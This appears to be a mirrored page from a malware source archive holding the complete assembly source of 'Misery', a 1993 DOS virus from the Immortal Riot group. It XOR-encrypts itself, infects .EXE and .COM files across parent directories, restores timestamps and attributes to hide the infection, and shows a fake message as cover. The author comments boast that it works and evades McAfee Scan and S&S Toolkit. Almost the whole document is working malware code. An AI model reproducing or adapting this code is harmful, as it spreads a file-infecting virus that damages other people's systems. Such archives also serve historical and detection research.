mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
252 lines
13 KiB
NASM
252 lines
13 KiB
NASM
; VirusName: Misery
|
||
; Country : Sweden
|
||
; Author : Metal Militia / Immortal Riot
|
||
; Date : 07-22-1993
|
||
;
|
||
; This is an mutation of Leprosy from 'PCM2'.
|
||
; Many thanks to the scratch coder of Leprosy
|
||
;
|
||
; We've tried this virus ourself, and it works just fine.
|
||
; It copies itself into other exe/com files on the
|
||
; current drive, and uses dot-dot for changing directory.
|
||
; Originally found in the United States Of America.
|
||
;
|
||
; There has been many mutations born from this virus,
|
||
; and here we give you another contribution.
|
||
|
||
; McAfee Scan v105 can't find it, and
|
||
; S&S Toolkit 6.5 don't find it either.
|
||
; I haven't tried with scanners like Fprot/Tbscan,
|
||
; but they will probably report some virus structure.
|
||
;
|
||
; Best Regards : [Metal Militia]
|
||
; [The Unforgiven]
|
||
|
||
title "MiSERY / Immortal Riot'93"
|
||
|
||
cr equ 13 ; Carriage return ASCII code
|
||
lf equ 10 ; Linefeed ASCII code
|
||
tab equ 9 ; Tab ASCII code
|
||
virus_size equ 664 ; Size of the virus file
|
||
code_start equ 100h ; Address right after PSP in memory
|
||
dta equ 80h ; Addr of default disk transfer area
|
||
datestamp equ 24 ; Offset in DTA of file's date stamp
|
||
timestamp equ 22 ; Offset in DTA of file's time stamp
|
||
filename equ 30 ; Offset in DTA of ASCIIZ filename
|
||
attribute equ 21 ; Offset in DTA of file attribute
|
||
|
||
|
||
code segment 'code' ; Open code segment
|
||
assume cs:code,ds:code ; One segment for both code & data
|
||
org code_start ; Start code image after PSP
|
||
|
||
;---------------------------------------------------------------------
|
||
; All executable code is contained in boundaries of procedure "main".
|
||
; The following code, until the start of "virus_code", is the non-
|
||
; encrypted CMT portion of the code to load up the real program.
|
||
;---------------------------------------------------------------------
|
||
main proc near ; Code execution begins here
|
||
call encrypt_decrypt ; Decrypt the real virus code
|
||
jmp random_mutation ; Put the virus into action
|
||
|
||
encrypt_val db 00h ; Hold value to encrypt by here
|
||
|
||
; ---------- Encrypt, save, and restore the virus code -----------
|
||
infect_file:
|
||
mov bx,handle ; Get the handle
|
||
push bx ; Save it on the stack
|
||
call encrypt_decrypt ; Encrypt most of the code
|
||
pop bx ; Get back the handle
|
||
mov cx,virus_size ; Total number of bytes to write
|
||
mov dx,code_start ; Buffer where code starts in memory
|
||
mov ah,40h ; DOS write-to-handle service
|
||
int 21h ; Write the virus code into the file
|
||
call encrypt_decrypt ; Restore the code as it was
|
||
ret ; Go back to where you came from
|
||
|
||
; --------------- Encrypt or decrypt the virus code ----------------
|
||
encrypt_decrypt:
|
||
mov bx,offset virus_code ; Get address to start encrypt/decrypt
|
||
xor_loop: ; Start cycle here
|
||
mov ah,[bx] ; Get the current byte
|
||
xor al,encrypt_val ; Engage/disengage XOR scheme on it
|
||
mov [bx],ah ; Put it back where we got it
|
||
inc bx ; Move BX ahead a byte
|
||
cmp bx,offset virus_code+virus_size ; Are we at the end?
|
||
jle xor_loop ; If not, do another cycle
|
||
ret ; and go back where we came from
|
||
|
||
;-----------------------------------------------------------------------
|
||
; The rest of the code from here on remains encrypted until run-time,
|
||
; using a fundamental XOR technique that changes via CMT.
|
||
;-----------------------------------------------------------------------
|
||
virus_code:
|
||
|
||
;----------------------------------------------------------------------------
|
||
; All strings are kept here in the file, and automatically encrypted.
|
||
; Please don't be a lamer and change the strings and say you wrote a virus.
|
||
; Because of Cybernetic Mutation Technology(tm), the CRC of this file often
|
||
; changes, even when the strings stay the same.
|
||
;----------------------------------------------------------------------------
|
||
exe_filespec db "*.EXE",0 ; To infect EXE's
|
||
com_filespec db "*.COM",0 ; To infect COM's
|
||
newdir db "..",0 ; Move up one directory
|
||
fake_msg db cr,lf,"Metal up your ass..$"
|
||
virus_msg1 db cr,lf,tab,"My friend of Misery...$"
|
||
virus_msg2 db cr,lf,tab,"Hearing only what you want to hear $"
|
||
virus_msg3 db cr,lf,tab,"and knowing only what you've heard$"
|
||
virus_msg4 db cr,lf,tab,"you you're smothered in tragedy$"
|
||
virus_msg5 db cr,lf,tab,"you're out to save the world$"
|
||
compare_buf db 20 dup (?) ; Buffer to compare files in
|
||
files_found db ?
|
||
files_infected db ?
|
||
orig_time dw ?
|
||
orig_date dw ?
|
||
orig_attr dw ?
|
||
handle dw ?
|
||
success db ?
|
||
|
||
random_mutation: ; First decide if virus is to mutate
|
||
mov ah,2ch ; Set up DOS function to get time
|
||
int 21h
|
||
cmp encrypt_val,0 ; Is this a first-run virus copy?
|
||
je install_val ; If so, install whatever you get.
|
||
cmp dh,15 ; Is it less than 16 seconds?
|
||
jg find_extension ; If not, don't mutate this time
|
||
install_val:
|
||
cmp dl,0 ; Will we be encrypting using zero?
|
||
je random_mutation ; If so, get a new value.
|
||
mov encrypt_val,dl ; Otherwise, save the new value
|
||
find_extension: ; Locate file w/ valid extension
|
||
mov files_found,0 ; Count infected files found
|
||
mov files_infected,4 ; BX counts file infected so far
|
||
mov success,0
|
||
find_exe:
|
||
mov cx,00100111b ; Look for all flat file attributes
|
||
mov dx,offset exe_filespec ; Check for .EXE extension first
|
||
mov ah,4eh ; Call DOS find first service
|
||
int 21h
|
||
cmp ax,12h ; Are no files found?
|
||
je find_com ; If not, nothing more to do
|
||
call find_healthy ; Otherwise, try to find healthy .EXE
|
||
find_com:
|
||
mov cx,00100111b ; Look for all flat file attributes
|
||
mov dx,offset com_filespec ; Check for .COM extension now
|
||
mov ah,4eh ; Call DOS find first service
|
||
int 21h
|
||
cmp ax,12h ; Are no files found?
|
||
je chdir ; If not, step back a directory
|
||
call find_healthy ; Otherwise, try to find healthy .COM
|
||
chdir: ; Routine to step back one level
|
||
mov dx,offset newdir ; Load DX with address of pathname
|
||
mov ah,3bh ; Change directory DOS service
|
||
int 21h
|
||
dec files_infected ; This counts as infecting a file
|
||
jnz find_exe ; If we're still rolling, find another
|
||
jmp exit_virus ; Otherwise let's pack it up
|
||
find_healthy:
|
||
mov bx,dta ; Point BX to address of DTA
|
||
mov ax,[bx]+attribute ; Get the current file's attribute
|
||
mov orig_attr,ax ; Save it
|
||
mov ax,[bx]+timestamp ; Get the current file's time stamp
|
||
mov orig_time,ax ; Save it
|
||
mov ax,[bx]+datestamp ; Get the current file's data stamp
|
||
mov orig_date,ax ; Save it
|
||
mov dx,dta+filename ; Get the filename to change attribute
|
||
mov cx,0 ; Clear all attribute bytes
|
||
mov al,1 ; Set attribute sub-function
|
||
mov ah,43h ; Call DOS service to do it
|
||
int 21h
|
||
mov al,2 ; Set up to open handle for read/write
|
||
mov ah,3dh ; Open file handle DOS service
|
||
int 21h
|
||
mov handle,ax ; Save the file handle
|
||
mov bx,ax ; Transfer the handle to BX for read
|
||
mov cx,20 ; Read in the top 20 bytes of file
|
||
mov dx,offset compare_buf ; Use the small buffer up top
|
||
mov ah,3fh ; DOS read-from-handle service
|
||
int 21h
|
||
mov bx,offset compare_buf ; Adjust the encryption value
|
||
mov ah,encrypt_val ; for accurate comparison
|
||
mov [bx+6],ah
|
||
mov si,code_start ; One array to compare is this file
|
||
mov di,offset compare_buf ; The other array is the buffer
|
||
mov ax,ds ; Transfer the DS register...
|
||
mov es,ax ; ...to the ES register
|
||
cld
|
||
repe cmpsb ; Compare the buffer to the virus
|
||
jne healthy ; If different, the file is healthy!
|
||
call close_file ; Close it up otherwise
|
||
inc files_found ; Chalk up another fucked up file
|
||
continue_search:
|
||
mov ah,4fh ; Find next DOS function
|
||
int 21h ; Try to find another same type file
|
||
cmp ax,12h ; Are there any more files?
|
||
je no_more_found ; If not, get outta here
|
||
jmp find_healthy ; If so, try the process on this one!
|
||
no_more_found:
|
||
ret ; Go back to where we came from
|
||
healthy:
|
||
mov bx,handle ; Get the file handle
|
||
mov ah,3eh ; Close it for now
|
||
int 21h
|
||
mov ah,3dh ; Open it again, to reset it
|
||
mov dx,dta+filename
|
||
mov al,2
|
||
int 21h
|
||
mov handle,ax ; Save the handle again
|
||
call infect_file ; Infect the healthy file
|
||
call close_file ; Close down this operation
|
||
inc success ; Indicate we did something this time
|
||
dec files_infected ; Scratch off another file on agenda
|
||
jz exit_virus ; If we're through, terminate
|
||
jmp continue_search ; Otherwise, try another
|
||
ret
|
||
close_file:
|
||
mov bx,handle ; Get the file handle off the stack
|
||
mov cx,orig_time ; Get the date stamp
|
||
mov dx,orig_date ; Get the time stamp
|
||
mov al,1 ; Set file date/time sub-service
|
||
mov ah,57h ; Get/Set file date and time service
|
||
int 21h ; Call DOS
|
||
mov bx,handle
|
||
mov ah,3eh ; Close handle DOS service
|
||
int 21h
|
||
mov cx,orig_attr ; Get the file's original attribute
|
||
mov al,1 ; Instruct DOS to put it back there
|
||
mov dx,dta+filename ; Feed it the filename
|
||
mov ah,43h ; Call DOS
|
||
int 21h
|
||
ret
|
||
exit_virus:
|
||
cmp files_found,15 ; Are at least 15 files infected?
|
||
jl print_fake ; If not, keep a low profile
|
||
cmp success,0 ; Did we infect anything?
|
||
jg print_fake ; If so, cover it up
|
||
mov ah,09h ; Use DOS print string service
|
||
mov dx,offset virus_msg1 ; Load the address of the first line
|
||
int 21h ; Print it
|
||
mov dx,offset virus_msg2 ; Load the second line
|
||
int 21h ; (etc)
|
||
mov dx,offset virus_msg3
|
||
int 21h
|
||
mov dx,offset virus_msg4
|
||
int 21h
|
||
mov dx,offset virus_msg5
|
||
int 21h
|
||
jmp terminate
|
||
print_fake:
|
||
mov ah,09h ; Use DOS to print fake error message
|
||
mov dx,offset fake_msg
|
||
int 21h
|
||
terminate:
|
||
mov ah,4ch ; DOS terminate process function
|
||
int 21h ; Call DOS to get out of this program
|
||
|
||
filler db 8 dup (90h) ; Pad out the file length to 666 bytes
|
||
|
||
main endp
|
||
code ends
|
||
end main
|
||
|
||
|